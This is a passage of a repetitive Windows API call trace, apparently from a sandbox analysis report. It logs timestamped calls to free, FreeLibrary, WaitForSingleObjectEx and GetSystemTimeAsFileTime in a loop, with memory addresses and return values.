(_Block=0x20abc284e70) [0241.577] free (_Block=0x20abc27cb20) [0241.578] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bc33819, dwHighDateTime=0x1d9eb0c)) [0241.586] free (_Block=0x20abc281d20) [0241.586] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.587] free (_Block=0x20abc284e70) [0241.588] free (_Block=0x20abc27cf80) [0241.588] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bc33819, dwHighDateTime=0x1d9eb0c)) [0241.595] free (_Block=0x20abc281fc0) [0241.596] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.596] free (_Block=0x20abc284e70) [0241.597] free (_Block=0x20abc27cf80) [0241.597] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bccc159, dwHighDateTime=0x1d9eb0c)) [0241.650] free (_Block=0x20abc281f20) [0241.651] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.651] free (_Block=0x20abc284e70) [0241.652] free (_Block=0x20abc2abc20) [0241.652] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bcf245d, dwHighDateTime=0x1d9eb0c)) [0241.667] free (_Block=0x20abc281b60) [0241.668] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.668] free (_Block=0x20abc284e70) [0241.670] free (_Block=0x20abc27cb20) [0241.670] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bd18966, dwHighDateTime=0x1d9eb0c)) [0241.679] free (_Block=0x20abc281b60) [0241.679] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.680] free (_Block=0x20abc284e70) [0241.681] free (_Block=0x20abc27cb20) [0241.681] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bd18966, dwHighDateTime=0x1d9eb0c)) [0241.689] free (_Block=0x20abc2819a0) [0241.689] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.690] free (_Block=0x20abc284e70) [0241.691] free (_Block=0x20abc27cb20) [0241.691] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4be23810, dwHighDateTime=0x1d9eb0c)) [0241.785] free (_Block=0x20abc2820a0) [0241.785] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.786] free (_Block=0x20abc284e70) [0241.787] free (_Block=0x20abc27cb20) [0241.787] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4be498f8, dwHighDateTime=0x1d9eb0c)) [0241.800] free (_Block=0x20abc281d60) [0241.801] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.801] free (_Block=0x20abc284e70) [0241.802] free (_Block=0x20abc27cb20) [0241.802] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4be498f8, dwHighDateTime=0x1d9eb0c)) [0241.810] free (_Block=0x20abc2819a0) [0241.810] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.811] free (_Block=0x20abc284e70) [0241.811] free (_Block=0x20abc27cb20) [0241.812] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4be6fc8e, dwHighDateTime=0x1d9eb0c)) [0241.821] free (_Block=0x20abc281b20) [0241.821] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.822] free (_Block=0x20abc284e70) [0241.822] free (_Block=0x20abc27cb20) [0241.823] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.909] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bf55407, dwHighDateTime=0x1d9eb0c)) [0241.910] free (_Block=0x20abc281ce0) [0241.911] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.911] free (_Block=0x20abc284e70) [0241.912] free (_Block=0x20abc27cb20) [0241.912] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bf55407, dwHighDateTime=0x1d9eb0c)) [0241.922] free (_Block=0x20abc281960) [0241.923] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.923] free (_Block=0x20abc284e70) [0241.924] free (_Block=0x20abc27cb20) [0241.925] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bf7b9ea, dwHighDateTime=0x1d9eb0c)) [0241.934] free (_Block=0x20abc281a80) [0241.934] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.934] free (_Block=0x20abc284e70) [0241.935] free (_Block=0x20abc27cb20) [0241.935] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bfa13aa, dwHighDateTime=0x1d9eb0c)) [0241.946] free (_Block=0x20abc281ce0) [0241.946] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.947] free (_Block=0x20abc284e70) [0241.948] free (_Block=0x20abc27cb20) [0241.949] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c11e8bc, dwHighDateTime=0x1d9eb0c)) [0242.104] free (_Block=0x20abc281bc0) [0242.104] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.105] free (_Block=0x20abc284e70) [0242.106] free (_Block=0x20abc27cb20) [0242.106] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c14493e, dwHighDateTime=0x1d9eb0c)) [0242.119] free (_Block=0x20abc281d20) [0242.120] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.120] free (_Block=0x20abc284e70) [0242.121] free (_Block=0x20abc27cb20) [0242.121] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.130] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c16ac16, dwHighDateTime=0x1d9eb0c)) [0242.131] free (_Block=0x20abc281ba0) [0242.131] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.132] free (_Block=0x20abc284e70) [0242.132] free (_Block=0x20abc27cb20) [0242.133] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c16ac16, dwHighDateTime=0x1d9eb0c)) [0242.140] free (_Block=0x20abc281f20) [0242.141] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.141] free (_Block=0x20abc284e70) [0242.142] free (_Block=0x20abc27cf80) [0242.142] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c40083d, dwHighDateTime=0x1d9eb0c)) [0242.404] free (_Block=0x20abc281ee0) [0242.404] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.404] free (_Block=0x20abc284e70) [0242.405] free (_Block=0x20abc27cb20) [0242.405] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c465944, dwHighDateTime=0x1d9eb0c)) [0242.448] free (_Block=0x20abc281b60) [0242.448] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.449] free (_Block=0x20abc284e70) [0242.449] free (_Block=0x20abc27cb20) [0242.449] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c48bf9c, dwHighDateTime=0x1d9eb0c)) [0242.457] free (_Block=0x20abc2819a0) [0242.458] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.458] free (_Block=0x20abc284e70) [0242.459] free (_Block=0x20abc27cb20) [0242.459] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c48bf9c, dwHighDateTime=0x1d9eb0c)) [0242.467] free (_Block=0x20abc281ba0) [0242.467] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.468] free (_Block=0x20abc284e70) [0242.468] free (_Block=0x20abc27cb20) [0242.468] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c4b1dbb, dwHighDateTime=0x1d9eb0c)) [0242.478] free (_Block=0x20abc281a80) [0242.478] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.479] free (_Block=0x20abc284e70) [0242.479] free (_Block=0x20abc27cb20) [0242.480] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c597519, dwHighDateTime=0x1d9eb0c)) [0242.566] free (_Block=0x20abc281c60) [0242.566] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.567] free (_Block=0x20abc284e70) [0242.568] free (_Block=0x20abc27cf80) [0242.568] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.579] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c597519, dwHighDateTime=0x1d9eb0c)) [0242.580] free (_Block=0x20abc281f60) [0242.580] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.581] free (_Block=0x20abc284e70) [0242.582] free (_Block=0x20abc2a88c0) [0242.582] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c5e325c, dwHighDateTime=0x1d9eb0c)) [0242.601] free (_Block=0x20abc281be0) [0242.602] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.603] free (_Block=0x20abc284e70) [0242.604] free (_Block=0x20abc27cf80) [0242.604] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c67ba71, dwHighDateTime=0x1d9eb0c)) [0242.661] free (_Block=0x20abc281f60) [0242.661] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.662] free (_Block=0x20abc284e70) [0242.663] free (_Block=0x20abc27cb20) [0242.663] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c67ba71, dwHighDateTime=0x1d9eb0c)) [0242.671] free (_Block=0x20abc281b80) [0242.671] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.672] free (_Block=0x20abc284e70) [0242.674] free (_Block=0x20abc27cb20) [0242.674] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c6a1c63, dwHighDateTime=0x1d9eb0c)) [0242.682] free (_Block=0x20abc281c80) [0242.682] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.683] free (_Block=0x20abc284e70) [0242.684] free (_Block=0x20abc27cb20) [0242.684] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c6c7f3d, dwHighDateTime=0x1d9eb0c)) [0242.697] free (_Block=0x20abc281e80) [0242.698] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.698] free (_Block=0x20abc284e70) [0242.700] free (_Block=0x20abc27cb20) [0242.700] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c786a53, dwHighDateTime=0x1d9eb0c)) [0242.770] free (_Block=0x20abc2820e0) [0242.771] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.771] free (_Block=0x20abc284e70) [0242.772] free (_Block=0x20abc27cf80) [0242.772] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c786a53, dwHighDateTime=0x1d9eb0c)) [0242.781] free (_Block=0x20abc281d60) [0242.782] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.783] free (_Block=0x20abc284e70) [0242.784] free (_Block=0x20abc27cb20) [0242.784] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c7adb77, dwHighDateTime=0x1d9eb0c)) [0242.791] free (_Block=0x20abc2819c0) [0242.791] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.792] free (_Block=0x20abc284e70) [0242.793] free (_Block=0x20abc27cb20) [0242.793] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c7d332b, dwHighDateTime=0x1d9eb0c)) [0242.802] free (_Block=0x20abc282080) [0242.802] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.803] free (_Block=0x20abc284e70) [0242.804] free (_Block=0x20abc27cf80) [0242.804] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c7d332b, dwHighDateTime=0x1d9eb0c)) [0242.811] free (_Block=0x20abc281e60) [0242.812] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.812] free (_Block=0x20abc284e70) [0242.813] free (_Block=0x20abc2a8190) [0242.813] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c86b89e, dwHighDateTime=0x1d9eb0c)) [0242.874] free (_Block=0x20abc281fa0) [0242.874] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.875] free (_Block=0x20abc284e70) [0242.876] free (_Block=0x20abc27cb20) [0242.876] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c891bcd, dwHighDateTime=0x1d9eb0c)) [0242.890] free (_Block=0x20abc281ce0) [0242.890] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.891] free (_Block=0x20abc284e70) [0242.892] free (_Block=0x20abc27cf80) [0242.892] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0242.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c8b7dca, dwHighDateTime=0x1d9eb0c)) [0242.899] free (_Block=0x20abc281dc0) [0242.899] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0242.900] free (_Block=0x20abc284e70) [0242.901] free (_Block=0x20abc27cb20) [0242.901] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c9c2dc9, dwHighDateTime=0x1d9eb0c)) [0243.005] free (_Block=0x20abc2819c0) [0243.005] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.006] free (_Block=0x20abc284e70) [0243.006] free (_Block=0x20abc27cf80) [0243.007] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c9c2dc9, dwHighDateTime=0x1d9eb0c)) [0243.014] free (_Block=0x20abc281e60) [0243.014] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.015] free (_Block=0x20abc284e70) [0243.015] free (_Block=0x20abc27cb20) [0243.016] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4c9e90c6, dwHighDateTime=0x1d9eb0c)) [0243.026] free (_Block=0x20abc281d40) [0243.026] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.027] free (_Block=0x20abc284e70) [0243.028] free (_Block=0x20abc27cb20) [0243.028] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ca0f2d0, dwHighDateTime=0x1d9eb0c)) [0243.034] free (_Block=0x20abc281a80) [0243.035] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.036] free (_Block=0x20abc284e70) [0243.037] free (_Block=0x20abc27cb20) [0243.037] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ca0f2d0, dwHighDateTime=0x1d9eb0c)) [0243.044] free (_Block=0x20abc281ce0) [0243.045] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.046] free (_Block=0x20abc284e70) [0243.047] free (_Block=0x20abc27cb20) [0243.047] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4cb7c552, dwHighDateTime=0x1d9eb0c)) [0243.186] free (_Block=0x20abc281960) [0243.186] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.187] free (_Block=0x20abc284e70) [0243.188] free (_Block=0x20abc27cb20) [0243.188] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4cb8ca8d, dwHighDateTime=0x1d9eb0c)) [0243.197] free (_Block=0x20abc282000) [0243.197] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.198] free (_Block=0x20abc284e70) [0243.198] free (_Block=0x20abc27cb20) [0243.199] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4cb8ca8d, dwHighDateTime=0x1d9eb0c)) [0243.206] free (_Block=0x20abc2820c0) [0243.206] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.207] free (_Block=0x20abc284e70) [0243.207] free (_Block=0x20abc27cb20) [0243.207] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4cbb2f81, dwHighDateTime=0x1d9eb0c)) [0243.216] free (_Block=0x20abc281b20) [0243.216] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.216] free (_Block=0x20abc284e70) [0243.217] free (_Block=0x20abc27cf80) [0243.217] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4cce3f47, dwHighDateTime=0x1d9eb0c)) [0243.332] free (_Block=0x20abc281f60) [0243.332] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.333] free (_Block=0x20abc284e70) [0243.333] free (_Block=0x20abc27cf80) [0243.333] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4cce3f47, dwHighDateTime=0x1d9eb0c)) [0243.340] free (_Block=0x20abc281f60) [0243.340] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.341] free (_Block=0x20abc284e70) [0243.341] free (_Block=0x20abc27cb20) [0243.341] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4cd7c8e4, dwHighDateTime=0x1d9eb0c)) [0243.402] free (_Block=0x20abc281ac0) [0243.403] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.403] free (_Block=0x20abc284e70) [0243.404] free (_Block=0x20abc27cb20) [0243.404] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4cda2eed, dwHighDateTime=0x1d9eb0c)) [0243.412] free (_Block=0x20abc281ce0) [0243.413] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.413] free (_Block=0x20abc284e70) [0243.414] free (_Block=0x20abc27cf80) [0243.414] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4cf21ac6, dwHighDateTime=0x1d9eb0c)) [0243.567] free (_Block=0x20abc282000) [0243.567] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.568] free (_Block=0x20abc284e70) [0243.568] free (_Block=0x20abc27cb20) [0243.569] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4cf21ac6, dwHighDateTime=0x1d9eb0c)) [0243.577] free (_Block=0x20abc281d60) [0243.577] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.578] free (_Block=0x20abc284e70) [0243.579] free (_Block=0x20abc27cb20) [0243.579] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4cf466e9, dwHighDateTime=0x1d9eb0c)) [0243.589] free (_Block=0x20abc281fc0) [0243.589] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.590] free 